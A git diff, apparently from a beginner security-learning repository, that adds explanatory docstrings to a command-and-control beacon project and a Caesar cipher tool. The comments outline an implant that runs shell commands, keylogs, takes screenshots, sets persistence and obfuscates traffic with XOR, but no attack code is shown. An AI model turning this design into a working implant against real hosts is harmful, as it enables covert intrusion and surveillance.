def test_form_roundtrip(self, text: str) -> None: + """ + Checks that arbitrary UTF-8 text survives a form-encoded URL roundtrip unchanged + """ data = text.encode("utf-8") assert decode_url(encode_url(data, form=True), form=True) == data @@ -100,6 +159,9 @@ class TestUrlProperties: class TestCrossFormatProperties: @given(st.binary(min_size=1, max_size=256)) def test_all_formats_roundtrip(self, data: bytes) -> None: + """ + Checks that arbitrary binary data roundtrips losslessly through all non-URL formats + """ for fmt in ( EncodingFormat.BASE64, EncodingFormat.BASE64URL, diff --git a/PROJECTS/beginner/c2-beacon/backend/app/__main__.py b/PROJECTS/beginner/c2-beacon/backend/app/__main__.py index 7c5e3cae..138d7fae 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/__main__.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/__main__.py @@ -1,6 +1,22 @@ """ AngelaMos | 2026 __main__.py + +FastAPI application factory and server entry point + +create_app assembles the FastAPI instance with CORS middleware, health +and root endpoints, and all three routers. The lifespan handler +initializes the database and creates the shared registry, +task_manager, and ops_manager singletons stored on app.state. + +Connects to: + config.py - reads all settings + database.py - calls init_db() + beacon/registry.py - creates BeaconRegistry singleton + beacon/tasking.py - creates TaskManager singleton + beacon/router.py - mounts beacon WebSocket router + ops/manager.py - creates OpsManager singleton + ops/router.py - mounts operator WebSocket and REST routers """ import logging diff --git a/PROJECTS/beginner/c2-beacon/backend/app/beacon/registry.py b/PROJECTS/beginner/c2-beacon/backend/app/beacon/registry.py index 8f581b02..5ff80567 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/beacon/registry.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/beacon/registry.py @@ -1,6 +1,20 @@ """ AngelaMos | 2026 registry.py + +Tracks active beacon WebSocket connections with SQLite persistence + +BeaconRegistry holds an in-memory dict of live connections keyed by +beacon ID alongside the SQLite beacons table. register/unregister +update both stores. is_active and get_connection read from memory; +get_all and get_one query the database. + +Connects to: + core/models.py - uses BeaconMeta, BeaconRecord + beacon/router.py - registers and unregisters connections + ops/router.py - reads beacon list and active status + __main__.py - creates singleton on startup + tests/test_registry.py - tests all registry methods """ from datetime import UTC, datetime diff --git a/PROJECTS/beginner/c2-beacon/backend/app/beacon/router.py b/PROJECTS/beginner/c2-beacon/backend/app/beacon/router.py index cb817cc7..4dad89ed 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/beacon/router.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/beacon/router.py @@ -1,6 +1,23 @@ """ AngelaMos | 2026 router.py + +WebSocket endpoint that manages the full beacon connection lifecycle + +The /ws/beacon handler validates the REGISTER handshake, then runs +two concurrent coroutines: one pushing queued tasks to the beacon and +one processing incoming RESULT and HEARTBEAT messages. On disconnect, +it cleans up the registry and queue and broadcasts the event to +operators. + +Connects to: + beacon/registry.py - registers, unregisters, updates heartbeat + beacon/tasking.py - dequeues tasks, stores results + config.py - reads XOR_KEY + core/models.py - uses BeaconMeta, TaskResult + core/protocol.py - calls pack, unpack + database.py - calls get_db() + ops/manager.py - broadcasts beacon events """ import asyncio diff --git a/PROJECTS/beginner/c2-beacon/backend/app/beacon/tasking.py b/PROJECTS/beginner/c2-beacon/backend/app/beacon/tasking.py index 97e9eb12..ccb200c3 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/beacon/tasking.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/beacon/tasking.py @@ -1,6 +1,20 @@ """ AngelaMos | 2026 tasking.py + +Per-beacon asyncio task queues backed by SQLite persistence + +TaskManager maintains an asyncio.Queue per beacon for pending tasks. +submit writes to SQLite and enqueues; get_next blocks until a task is +available; store_result persists the result and marks the task +completed; get_history returns tasks joined with their results. + +Connects to: + core/models.py - uses TaskRecord, TaskResult + beacon/router.py - calls get_next, store_result, remove_queue + ops/router.py - calls submit, get_history + __main__.py - creates singleton on startup + tests/test_tasking.py - tests all task lifecycle methods """ import asyncio diff --git a/PROJECTS/beginner/c2-beacon/backend/app/config.py b/PROJECTS/beginner/c2-beacon/backend/app/config.py index 0248d376..d165eec8 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/config.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/config.py @@ -1,6 +1,17 @@ """ AngelaMos | 2026 config.py + +Application settings loaded from environment variables and a .env file + +Defines the Settings class using pydantic-settings, covering server +host/port, database path, XOR encryption key, CORS origins, and log +level. The module-level settings singleton is shared across the app. + +Connects to: + database.py - reads DATABASE_PATH + beacon/router.py - reads XOR_KEY + __main__.py - reads HOST, PORT, APP_NAME, LOG_LEVEL """ from functools import lru_cache diff --git a/PROJECTS/beginner/c2-beacon/backend/app/core/encoding.py b/PROJECTS/beginner/c2-beacon/backend/app/core/encoding.py index 9612ff5d..3579fcd8 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/core/encoding.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/core/encoding.py @@ -1,6 +1,22 @@ """ AngelaMos | 2026 encoding.py + +XOR cipher and Base64 encoding pipeline for obfuscating C2 traffic + +Provides the low-level encoding primitives used on both the server and +implant sides. encode applies a repeating XOR with the shared key then +Base64-encodes the result; decode reverses the operation. This is +traffic obfuscation, not encryption. + +Key exports: + xor_bytes - byte-level XOR with repeating key + encode - plaintext string to XOR+Base64 string + decode - XOR+Base64 string back to plaintext + +Connects to: + protocol.py - calls encode and decode + tests/test_encoding.py - tests all three functions """ import base64 diff --git a/PROJECTS/beginner/c2-beacon/backend/app/core/models.py b/PROJECTS/beginner/c2-beacon/backend/app/core/models.py index 0dc91779..f50c280d 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/core/models.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/core/models.py @@ -1,6 +1,24 @@ """ AngelaMos | 2026 models.py + +Pydantic models and command types shared across the C2 server + +Defines the data types used throughout the server: CommandType (the +supported C2 commands mapped to MITRE ATT&CK techniques), beacon +registration and storage models, and the full task lifecycle from +request to result. + +Key exports: + CommandType - enum of supported beacon commands + BeaconMeta, BeaconRecord - beacon registration and database types + TaskRequest, TaskRecord, TaskResult - task lifecycle types + +Connects to: + beacon/registry.py - uses BeaconMeta, BeaconRecord + beacon/tasking.py - uses TaskRecord, TaskResult + beacon/router.py - uses BeaconMeta, TaskResult + ops/router.py - uses CommandType, TaskRecord """ from datetime import UTC, datetime diff --git a/PROJECTS/beginner/c2-beacon/backend/app/core/protocol.py b/PROJECTS/beginner/c2-beacon/backend/app/core/protocol.py index c5ca2cc4..35621a18 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/core/protocol.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/core/protocol.py @@ -1,6 +1,24 @@ """ AngelaMos | 2026 protocol.py + +Protocol envelope types and pack/unpack for all WebSocket messages + +Defines the shared message format for beacon/server communication. +MessageType enumerates the five protocol states. pack serializes a +Message to an encoded string; unpack decodes and validates the result, +raising ValueError on any malformed input. + +Key exports: + MessageType - REGISTER, HEARTBEAT, TASK, RESULT, ERROR + Message - protocol envelope model + pack - serialize and encode a Message to a wire string + unpack - decode and validate a raw wire string into a Message + +Connects to: + encoding.py - calls encode and decode + beacon/router.py - calls pack, unpack + tests/test_protocol.py - tests pack/unpack roundtrips """ import binascii diff --git a/PROJECTS/beginner/c2-beacon/backend/app/database.py b/PROJECTS/beginner/c2-beacon/backend/app/database.py index e8f5f0f0..9ad883a6 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/database.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/database.py @@ -1,6 +1,21 @@ """ AngelaMos | 2026 database.py + +SQLite schema definition and async connection management + +Holds the three-table schema (beacons, tasks, task_results) as a SQL +string and exposes init_db for first-run setup and get_db as an async +context manager. WAL mode and foreign keys are enabled on every +connection. + +Connects to: + config.py - reads DATABASE_PATH via settings + beacon/router.py - calls get_db() + ops/router.py - calls get_db() + __main__.py - calls init_db() + tests/test_registry.py - imports SCHEMA + tests/test_tasking.py - imports SCHEMA """ from collections.abc import AsyncIterator diff --git a/PROJECTS/beginner/c2-beacon/backend/app/ops/manager.py b/PROJECTS/beginner/c2-beacon/backend/app/ops/manager.py index a007cf79..f824f588 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/ops/manager.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/ops/manager.py @@ -1,6 +1,18 @@ """ AngelaMos | 2026 manager.py + +Fan-out broadcaster for operator WebSocket connections + +OpsManager keeps a set of active operator WebSocket connections. +connect accepts a new connection; broadcast serializes an event dict +as JSON and sends it to all connected operators, silently dropping +any connections that fail to send. + +Connects to: + beacon/router.py - broadcast called for beacon connect/disconnect/result + ops/router.py - connect, disconnect, and broadcast called per operator + __main__.py - creates singleton on startup """ import json diff --git a/PROJECTS/beginner/c2-beacon/backend/app/ops/router.py b/PROJECTS/beginner/c2-beacon/backend/app/ops/router.py index d576163f..ce973058 100644 --- a/PROJECTS/beginner/c2-beacon/backend/app/ops/router.py +++ b/PROJECTS/beginner/c2-beacon/backend/app/ops/router.py @@ -1,6 +1,25 @@ """ AngelaMos | 2026 router.py + +Operator interface combining a WebSocket dashboard channel and REST beacon routes + +The /ws/operator WebSocket sends the current beacon list on connect +and accepts submit_task messages from the operator. Three REST routes +cover beacon listing, single-beacon lookup, and task history. All +handlers share the registry, task manager, and ops manager from +app.state. + +Key exports: + ws_router - WebSocket router mounted at /ws/operator + rest_router - REST routes for /beacons and /beacons/{id} + +Connects to: + beacon/registry.py - reads beacon list and active status + beacon/tasking.py - submits tasks and fetches history + core/models.py - uses CommandType, TaskRecord + database.py - calls get_db() + ops/manager.py - manages operator connections """ import json diff --git a/PROJECTS/beginner/c2-beacon/backend/tests/conftest.py b/PROJECTS/beginner/c2-beacon/backend/tests/conftest.py index 2acc3424..3b77ef25 100644 --- a/PROJECTS/beginner/c2-beacon/backend/tests/conftest.py +++ b/PROJECTS/beginner/c2-beacon/backend/tests/conftest.py @@ -1,6 +1,12 @@ """ AngelaMos | 2026 conftest.py + +Shared pytest fixtures for the backend test suite + +Provides two fixtures: tmp_db_path supplies a temp SQLite path for +test isolation, and test_settings builds a Settings instance pointed +at that path with a known XOR key. """ from pathlib import Path diff --git a/PROJECTS/beginner/c2-beacon/backend/tests/test_app.py b/PROJECTS/beginner/c2-beacon/backend/tests/test_app.py index ca612852..98b79530 100644 --- a/PROJECTS/beginner/c2-beacon/backend/tests/test_app.py +++ b/PROJECTS/beginner/c2-beacon/backend/tests/test_app.py @@ -1,6 +1,15 @@ """ AngelaMos | 2026 test_app.py + +Integration tests for the FastAPI HTTP endpoints + +Spins up the full application using ASGITransport and verifies the +health check, root info endpoint, empty beacon list, and 404 handling +for unknown beacon IDs. + +Tests: + __main__.py - create_app, /health, /, /beacons, /beacons/{id} """ from pathlib import Path diff --git a/PROJECTS/beginner/c2-beacon/backend/tests/test_encoding.py b/PROJECTS/beginner/c2-beacon/backend/tests/test_encoding.py index 02ee1842..c2f01386 100644 --- a/PROJECTS/beginner/c2-beacon/backend/tests/test_encoding.py +++ b/PROJECTS/beginner/c2-beacon/backend/tests/test_encoding.py @@ -1,6 +1,15 @@ """ AngelaMos | 2026 test_encoding.py + +Unit tests for the XOR cipher and Base64 encoding pipeline + +Verifies xor_bytes correctness and idempotency, encode/decode +roundtrips for ASCII and Unicode payloads, and that mismatched keys +produce different ciphertext. + +Tests: + core/encoding.py - xor_bytes, encode, decode """ diff --git a/PROJECTS/beginner/c2-beacon/backend/tests/test_protocol.py b/PROJECTS/beginner/c2-beacon/backend/tests/test_protocol.py index 53604bde..88c162d3 100644 --- a/PROJECTS/beginner/c2-beacon/backend/tests/test_protocol.py +++ b/PROJECTS/beginner/c2-beacon/backend/tests/test_protocol.py @@ -1,6 +1,15 @@ """ AngelaMos | 2026 test_protocol.py + +Unit tests for protocol message pack/unpack roundtrips and validation + +Verifies that all five MessageType values survive pack -> unpack, and +that unpack raises ValueError for invalid base64, malformed JSON, +missing fields, and unknown message types. + +Tests: + core/protocol.py - pack, unpack, Message, MessageType """ import pytest diff --git a/PROJECTS/beginner/c2-beacon/backend/tests/test_registry.py b/PROJECTS/beginner/c2-beacon/backend/tests/test_registry.py index a451d43c..9cd09122 100644 --- a/PROJECTS/beginner/c2-beacon/backend/tests/test_registry.py +++ b/PROJECTS/beginner/c2-beacon/backend/tests/test_registry.py @@ -1,6 +1,16 @@ """ AngelaMos | 2026 test_registry.py + +Unit tests for BeaconRegistry connection tracking and persistence + +Verifies that registering a beacon adds it to both the in-memory +store and SQLite, that unregistering removes it from memory while +preserving the database record, and that query methods return correct +results. + +Tests: + beacon/registry.py - BeaconRegistry """ from pathlib import Path diff --git a/PROJECTS/beginner/c2-beacon/backend/tests/test_tasking.py b/PROJECTS/beginner/c2-beacon/backend/tests/test_tasking.py index 8d56f224..8933128b 100644 --- a/PROJECTS/beginner/c2-beacon/backend/tests/test_tasking.py +++ b/PROJECTS/beginner/c2-beacon/backend/tests/test_tasking.py @@ -1,6 +1,15 @@ """ AngelaMos | 2026 test_tasking.py + +Unit tests for TaskManager queue behavior and SQLite persistence + +Verifies task submission, FIFO ordering, blocking get_next behavior, +result storage and status transitions, task history queries, and queue +cleanup on beacon disconnect. + +Tests: + beacon/tasking.py - TaskManager """ import asyncio diff --git a/PROJECTS/beginner/c2-beacon/beacon/beacon.py b/PROJECTS/beginner/c2-beacon/beacon/beacon.py index 4a038849..0a14f37c 100644 --- a/PROJECTS/beginner/c2-beacon/beacon/beacon.py +++ b/PROJECTS/beginner/c2-beacon/beacon/beacon.py @@ -1,6 +1,19 @@ """ AngelaMos | 2026 beacon.py + +Standalone implant that connects to the C2 server and executes tasks + +Self-contained beacon implant. Connects to the server over WebSocket, +sends a REGISTER message with host metadata, then concurrently runs a +heartbeat loop and a task receive loop. Handles all C2 commands +locally (shell, sysinfo, proclist, upload, download, screenshot, +keylogging, persistence, sleep configuration) and sends results back. +Reconnects with exponential backoff on failure. + +Key exports: + BeaconConfig - runtime configuration dataclass + main - async entry point for the beacon loop """ import asyncio diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/App.tsx b/PROJECTS/beginner/c2-beacon/frontend/src/App.tsx index 7f6fb2d4..c69bf51e 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/App.tsx +++ b/PROJECTS/beginner/c2-beacon/frontend/src/App.tsx @@ -1,6 +1,15 @@ // =========================== // © AngelaMos | 2026 // App.tsx +// +// Root application component wrapping the router and toast notifications +// +// Renders RouterProvider with the configured browser router and a +// Sonner Toaster styled to the dark C2 theme. This is the single +// component mounted by main.tsx. +// +// Connects to: +// routers.tsx - provides the router instance // =========================== import { RouterProvider } from 'react-router-dom' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/config.ts b/PROJECTS/beginner/c2-beacon/frontend/src/config.ts index 049021f2..0d9b2bde 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/config.ts +++ b/PROJECTS/beginner/c2-beacon/frontend/src/config.ts @@ -1,6 +1,21 @@ // =================== // © AngelaMos | 2026 // config.ts +// +// Client-side URL constants for API endpoints, WebSocket paths, and routes +// +// All hard-coded paths live here so components never construct URLs +// directly. API_ENDPOINTS covers REST paths, WS_ENDPOINTS covers the +// operator WebSocket, ROUTES covers client-side navigation paths, and +// STORAGE_KEYS names the localStorage persistence key. +// +// Connects to: +// core/ws.ts - reads WS_ENDPOINTS.OPERATOR +// core/lib/shell.ui.store.ts - reads STORAGE_KEYS.UI +// core/app/routers.tsx - reads ROUTES.DASHBOARD +// core/app/shell.tsx - reads ROUTES.DASHBOARD +// pages/dashboard/index.tsx - reads ROUTES.SESSION +// pages/session/index.tsx - reads ROUTES.DASHBOARD // =================== export const API_BASE = '/api' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/core/app/routers.tsx b/PROJECTS/beginner/c2-beacon/frontend/src/core/app/routers.tsx index d2e369c0..96ecfc0e 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/core/app/routers.tsx +++ b/PROJECTS/beginner/c2-beacon/frontend/src/core/app/routers.tsx @@ -1,6 +1,18 @@ // =================== // © AngelaMos | 2026 // routers.tsx +// +// React Router browser router with Shell layout and lazy page routes +// +// All routes nest under the Shell layout element. Dashboard and Session +// pages are lazily imported so they split into separate chunks at build +// time. +// +// Connects to: +// config.ts - reads ROUTES.DASHBOARD for the dashboard path +// core/app/shell.tsx - Shell is the parent layout element +// pages/dashboard/index.tsx - lazy-loaded for / +// pages/session/index.tsx - lazy-loaded for /session/:id // =================== import { createBrowserRouter, type RouteObject } from 'react-router-dom' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/core/app/shell.tsx b/PROJECTS/beginner/c2-beacon/frontend/src/core/app/shell.tsx index f134dde6..95c7dd05 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/core/app/shell.tsx +++ b/PROJECTS/beginner/c2-beacon/frontend/src/core/app/shell.tsx @@ -1,6 +1,22 @@ // =========================== // © AngelaMos | 2026 // shell.tsx +// +// Application shell with collapsible sidebar, top header, and page outlet +// +// Renders the persistent layout used by every page: a sidebar with +// navigation links, a header showing the current page title, and an +// Outlet for child routes. Sidebar open/collapsed state comes from +// useUIStore. An ErrorBoundary and Suspense wrap the Outlet to handle +// lazy-loaded pages and runtime errors gracefully. +// +// Key components: +// Shell - layout wrapper rendered as the parent route for all pages +// +// Connects to: +// config.ts - reads ROUTES.DASHBOARD for the nav link +// core/lib/index.ts - imports useUIStore +// core/app/routers.tsx - Shell is the element for the root route // =========================== import { Suspense } from 'react' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/core/lib/shell.ui.store.ts b/PROJECTS/beginner/c2-beacon/frontend/src/core/lib/shell.ui.store.ts index baafa650..5c4d150b 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/core/lib/shell.ui.store.ts +++ b/PROJECTS/beginner/c2-beacon/frontend/src/core/lib/shell.ui.store.ts @@ -1,6 +1,20 @@ // =================== // © AngelaMos | 2026 // shell.ui.store.ts +// +// Zustand store for sidebar open and collapsed UI state +// +// Manages two boolean flags: sidebarOpen (transient, not persisted) +// and sidebarCollapsed (persisted to localStorage). Exposes toggle +// and setter actions alongside selector hooks for each flag. +// +// Key exports: +// useUIStore - full Zustand store with sidebar state and actions +// useSidebarOpen, useSidebarCollapsed - selector hooks +// +// Connects to: +// config.ts - reads STORAGE_KEYS.UI for the localStorage key +// core/app/shell.tsx - reads and mutates sidebar state // =================== import { create } from 'zustand' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/core/types.ts b/PROJECTS/beginner/c2-beacon/frontend/src/core/types.ts index c7161a2c..06319885 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/core/types.ts +++ b/PROJECTS/beginner/c2-beacon/frontend/src/core/types.ts @@ -1,6 +1,24 @@ // =================== // © AngelaMos | 2026 // types.ts +// +// Zod schemas and TypeScript types for all C2 data structures +// +// Mirrors the server-side Pydantic models: CommandType, BeaconRecord, +// TaskRecord, and TaskResult. Also defines the full set of WebSocket +// message schemas and WsServerMessage, a discriminated union that +// covers every event the operator channel can emit. +// +// Key exports: +// CommandType - enum of supported beacon commands +// BeaconRecord, TaskRecord, TaskResult - core C2 data models +// WsServerMessage - discriminated union of all server message types +// parseServerMessage - parse and validate a raw WebSocket string +// +// Connects to: +// core/ws.ts - imports all types and parseServerMessage +// pages/dashboard/index.tsx - imports BeaconRecord +// pages/session/index.tsx - imports CommandType, TaskResult // =================== import { z } from 'zod/v4' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/core/ws.ts b/PROJECTS/beginner/c2-beacon/frontend/src/core/ws.ts index 703ca0fb..2eaefc7a 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/core/ws.ts +++ b/PROJECTS/beginner/c2-beacon/frontend/src/core/ws.ts @@ -1,6 +1,25 @@ // =================== // © AngelaMos | 2026 // ws.ts +// +// Zustand store and WebSocket hook for the live operator C2 connection +// +// useC2Store holds all live beacon state: beacon map, task results, and +// local-to-server task ID mapping. useOperatorSocket manages the +// /ws/operator WebSocket, dispatches incoming server messages into the +// store, and reconnects with exponential backoff on disconnect. +// sendTask sends a submit_task message to the server. +// +// Key exports: +// useC2Store - Zustand store for all C2 state and actions +// useOperatorSocket - hook that owns the WebSocket lifecycle +// useBeacons, useBeacon, useTaskResults, useTaskIdMap, useIsConnected - selectors +// +// Connects to: +// config.ts - reads WS_ENDPOINTS.OPERATOR +// core/types.ts - imports BeaconRecord, TaskResult, parseServerMessage +// pages/dashboard/index.tsx - calls useBeacons, useIsConnected, useOperatorSocket +// pages/session/index.tsx - calls useBeacon, useOperatorSocket, useTaskResults, useTaskIdMap // =================== import { useEffect, useRef } from 'react' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/main.tsx b/PROJECTS/beginner/c2-beacon/frontend/src/main.tsx index 161ec3ab..2cb3344b 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/main.tsx +++ b/PROJECTS/beginner/c2-beacon/frontend/src/main.tsx @@ -1,6 +1,8 @@ // =========================== // © AngelaMos | 2026 // main.tsx +// +// React entry point that mounts App into the DOM root // =========================== import { StrictMode } from 'react' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/pages/dashboard/index.tsx b/PROJECTS/beginner/c2-beacon/frontend/src/pages/dashboard/index.tsx index 94c59c06..6dce530a 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/pages/dashboard/index.tsx +++ b/PROJECTS/beginner/c2-beacon/frontend/src/pages/dashboard/index.tsx @@ -1,6 +1,21 @@ // =========================== // © AngelaMos | 2026 // pages/dashboard/index.tsx +// +// Operator dashboard listing all known beacons with live status +// +// Renders a table of every beacon the C2 server has seen. Active status +// and last-seen timestamps update in real time via the operator +// WebSocket. Clicking a row navigates to the session page for that +// beacon. An empty state is shown when no beacons are registered. +// +// Key components: +// Component (Dashboard) - lazy-loaded route component for / +// +// Connects to: +// config.ts - reads ROUTES.SESSION for row navigation +// core/types.ts - imports BeaconRecord +// core/ws.ts - calls useBeacons, useIsConnected, useOperatorSocket // =========================== import { useEffect, useState } from 'react' diff --git a/PROJECTS/beginner/c2-beacon/frontend/src/pages/session/index.tsx b/PROJECTS/beginner/c2-beacon/frontend/src/pages/session/index.tsx index c9683636..d1708348 100644 --- a/PROJECTS/beginner/c2-beacon/frontend/src/pages/session/index.tsx +++ b/PROJECTS/beginner/c2-beacon/frontend/src/pages/session/index.tsx @@ -1,6 +1,22 @@ // =========================== // © AngelaMos | 2026 // pages/session/index.tsx +// +// Interactive terminal session for issuing commands to a single beacon +// +// Renders a terminal-style interface for a specific beacon: command +// input with history navigation and Tab autocomplete, quick-action +// buttons for sysinfo/proclist/screenshot, and a scrolling output panel +// that updates as task results arrive. Screenshots render inline as +// images; all other output renders as preformatted text. +// +// Key components: +// Component (Session) - lazy-loaded route component for /session/:id +// +// Connects to: +// config.ts - reads ROUTES.DASHBOARD for the back link +// core/types.ts - imports CommandType, TaskResult +// core/ws.ts - calls useBeacon, useOperatorSocket, useTaskResults, useTaskIdMap // =========================== import { useCallback, useEffect, useRef, useState } from 'react' diff --git a/PROJECTS/beginner/caesar-cipher/.gitignore b/PROJECTS/beginner/caesar-cipher/.gitignore index 1d17dae1..120f4c59 100644 --- a/PROJECTS/beginner/caesar-cipher/.gitignore +++ b/PROJECTS/beginner/caesar-cipher/.gitignore @@ -1 +1,24 @@ -.venv +# 2026 | ©AngelaMos LLC + +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg +.venv/ +venv/ +*.venv +.coverage +htmlcov/ +.tox/ +.dmypy.json +dmypy.json +.ruff_cache/ +.mypy_cache/ +.pytest_cache/ diff --git a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/__init__.py b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/__init__.py index 97a588c4..5d611ba3 100644 --- a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/__init__.py +++ b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/__init__.py @@ -21,6 +21,15 @@ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣴⣦⣤⣴⣿⣷⣦⡔⣿⡄⡘⠂⠠⠈⠛⠿⣿⣿⣮⠻⣿⣿⠟⢡⣿⢏⣼⣿⣿⢡⡸⣿⣧⡀⡻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠲⠶⠶⠮⠭⠭⠍⠛⠋⠀⢈⣋⠀⠀⣠⣎⠺⣿⣶⣄⡉⠛⠶⣶⡶⠟⣡⣾⣿⣿⣿⣾⢡⣍⢹⣷⠀⠐⠈⠻⠿⠿⠿⠿⠿⠿⠻⠻⠟⠟ ------------------ + +Public surface of the caesar_cipher package + +Re-exports CaesarCipher and FrequencyAnalyzer so callers can import +directly from the package root. Sets the package version string. + +Connects to: + cipher.py - imports CaesarCipher + analyzer.py - imports FrequencyAnalyzer """ from caesar_cipher.cipher import CaesarCipher diff --git a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/analyzer.py b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/analyzer.py index c8edbbb0..2cbcf5f2 100644 --- a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/analyzer.py +++ b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/analyzer.py @@ -1,6 +1,17 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 analyzer.py + +Statistical frequency analysis for ranking Caesar cipher brute-force results + +Provides the FrequencyAnalyzer class that scores decryption candidates +by comparing their letter distributions against expected English frequency +percentages using a chi-squared test. Lower scores indicate text that +more closely matches natural English. + +Connects to: + constants.py - imports ENGLISH_LETTER_FREQUENCIES + main.py - crack command passes CaesarCipher.crack() output to rank_candidates() """ from collections import Counter diff --git a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/cipher.py b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/cipher.py index 6e2725fa..491364d0 100644 --- a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/cipher.py +++ b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/cipher.py @@ -1,6 +1,18 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 cipher.py + +Caesar cipher with encrypt, decrypt, and brute-force crack methods + +Provides the CaesarCipher class that performs letter shifting for a given +key while preserving case, spaces, and punctuation. The static crack() +method generates all 26 possible decryptions without needing the key, +leaving ranking to the analyzer layer. + +Connects to: + constants.py - imports UPPERCASE_LETTERS, LOWERCASE_LETTERS, ALPHABET_SIZE + main.py - all three CLI commands instantiate CaesarCipher + analyzer.py - crack() output is passed to FrequencyAnalyzer for ranking """ from caesar_cipher.constants import ( diff --git a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/constants.py b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/constants.py index 64295bd6..283db5a1 100644 --- a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/constants.py +++ b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/constants.py @@ -1,6 +1,17 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 constants.py + +Shared constants for the Caesar cipher: alphabet definitions and English letter frequency data + +Defines the letter sets used by the cipher for case-aware shifting, +the expected frequency percentages for each English letter (used by +frequency analysis to score decryption candidates), and the chi-squared +threshold for filtering results. + +Connects to: + cipher.py - imports UPPERCASE_LETTERS, LOWERCASE_LETTERS, ALPHABET_SIZE + analyzer.py - imports ENGLISH_LETTER_FREQUENCIES """ import string diff --git a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/main.py b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/main.py index 7a0d096e..7c03937d 100644 --- a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/main.py +++ b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/main.py @@ -1,6 +1,21 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 main.py + +CLI entry point with encrypt, decrypt, and crack commands via Typer + +Wires together input reading, cipher operations, and formatted Rich output +for three commands. The encrypt and decrypt commands require a key; crack +tries all 26 shifts and displays the ranked results as a table with the +best match highlighted. + +Key exports: + app - Typer application, registered as the caesar-cipher CLI entry point + +Connects to: + cipher.py - instantiates CaesarCipher for all three commands + analyzer.py - crack command uses FrequencyAnalyzer to rank candidates + utils.py - imports read_input, validate_key, write_output """ from pathlib import Path diff --git a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/utils.py b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/utils.py index ed71f87e..1219864f 100644 --- a/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/utils.py +++ b/PROJECTS/beginner/caesar-cipher/src/caesar_cipher/utils.py @@ -1,6 +1,15 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 utils.py + +Input/output helpers and key validation shared across CLI commands + +Handles the three sources of input (positional argument, file, or stdin) +and routes output to either stdout or a file. Also validates that the +shift key is in the acceptable range before the cipher is constructed. + +Connects to: + main.py - imports read_input, write_output, validate_key """ import sys diff --git a/PROJECTS/beginner/caesar-cipher/tests/test_analyzer.py b/PROJECTS/beginner/caesar-cipher/tests/test_analyzer.py index 05b22d16..0b14604d 100644 --- a/PROJECTS/beginner/caesar-cipher/tests/test_analyzer.py +++ b/PROJECTS/beginner/caesar-cipher/tests/test_analyzer.py @@ -1,6 +1,18 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 test_analyzer.py + +Tests for FrequencyAnalyzer covering chi-squared scoring and candidate ranking + +Tests: + chi-squared scoring distinguishes English text from gibberish + empty string 